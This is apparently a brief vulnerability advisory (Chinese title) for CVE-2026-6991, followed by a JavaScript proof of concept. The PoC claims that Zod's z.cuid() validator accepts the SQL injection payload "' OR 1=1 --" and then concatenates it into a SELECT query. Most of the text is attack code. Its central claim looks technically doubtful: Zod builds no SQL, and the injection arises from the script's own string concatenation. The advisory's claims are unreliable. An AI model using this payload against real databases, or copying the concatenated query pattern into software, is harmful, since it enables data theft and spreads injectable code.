CVE-2026-6991: Zod库CUID处理程序存在SQL注入漏洞

// Conceptual Proof of Concept for CVE-2026-6991 // Demonstrates SQL Injection via vulnerable CUID handler in Zod <= 4.3.6 const { z } = require('zod'); // Vulnerable Schema Definition // The vulnerability resides in the CUID validation logic const vulnerableSchema = z.object({ id: z.cuid() }); // Malicious payload designed to exploit the regex manipulation // This payload attempts to bypass CUID validation to inject SQL const payload = "' OR 1=1 --"; console.log("[+] Testing payload: " + payload); try { // In vulnerable versions, this validation passes unexpectedly const validatedData = vulnerableSchema.parse({ id: payload }); console.log("[!] Validation Bypassed! Input accepted: " + validatedData.id); // Simulating backend SQL construction using the 'validated' input // If the backend uses string concatenation, SQL Injection occurs const userId = validatedData.id; const query = `SELECT * FROM users WHERE id = '${userId}'`; console.log("[+] Executing Query: " + query); // Result: SELECT * FROM users WHERE id = '' OR 1=1 --' } catch (error) { console.log("[-] Validation failed. Payload rejected."); }